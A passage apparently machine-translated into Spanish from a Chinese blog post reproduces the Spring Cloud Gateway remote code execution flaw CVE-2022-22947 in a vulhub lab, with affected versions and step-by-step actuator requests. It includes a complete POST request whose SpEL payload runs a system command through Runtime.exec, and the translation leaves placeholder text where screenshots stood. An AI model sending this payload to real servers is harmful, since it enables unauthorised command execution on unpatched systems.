Vulnerabilidad de ejecución de comandos remotos de Spring Cloud Gateway (CVE-2022-22947)


Descargo de responsabilidad: este artículo es solo para aprendizaje y referencia. Todos los recursos involucrados en él provienen de Internet. No los use para ningún acto ilegal, de lo contrario, usted mismo asumirá las consecuencias correspondientes, y no asumo ninguna responsabilidad legal y conjunta. varios pasivos.

Descripción de la vulnerabilidad

Las aplicaciones que utilizan Spring Cloud Gateway son vulnerables a la inyección de código cuando el extremo del actuador está habilitado, expuesto y no es seguro. Un atacante puede crear de forma malintencionada solicitudes que permitan la ejecución remota arbitraria en un host remoto.

Cuando un atacante tiene acceso a la API del actuador, la vulnerabilidad puede explotarse para ejecutar comandos arbitrarios.

Esfera de influencia

Spring Cloud Gateway < 3.1.1
Spring Cloud Gateway < 3.0.7
Spring Cloud Gateway Otras versiones que ya no se actualizan

Construcción del entorno

Construcción de entorno de vulnerabilidad, utilizando vulhub, método de construcción, autobúsqueda.

Después de construir con éxito, visite

inserte la descripción de la imagen aquí

Recurrencia de vulnerabilidad

  1. Verifique que el punto final del actuador esté habilitado

Capture paquetes y modifique la interfaz a /actuador
inserte la descripción de la imagen aquí
2. Ver /actuador/puerta de enlace/rutas

inserte la descripción de la imagen aquí
La información de enrutamiento devuelta significa que al acceder al índice, se enruta a http://example.com:80

  1. crear ruta
POST /actuator/gateway/routes/test HTTP/1.1
Host: 192.168.10.171:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMT
If-None-Match: "3147526947"
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 431

{
    "id": "test",
    "filters": [
        {
            "name": "AddResponseHeader",
            "args": {
                "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",
                "name": "cmd"
            }
        }
    ],
    "uri": "http://example.com:80",
    "order": 0
}

inserte la descripción de la imagen aquí

4. Actualizar enrutamiento

inserte la descripción de la imagen aquí
5. Accede a la ruta creada

inserte la descripción de la imagen aquí

6. Eliminar ruta

inserte la descripción de la imagen aquí

7. Actualizar la ruta de nuevo

inserte la descripción de la imagen aquí

8. Luego, visite la ruta y descubra que la ruta ha sido eliminada

inserte la descripción de la imagen aquí

Supongo que te gusta

Origin blog.csdn.net/guo15890025019/article/details/129503346
Recomendado
Clasificación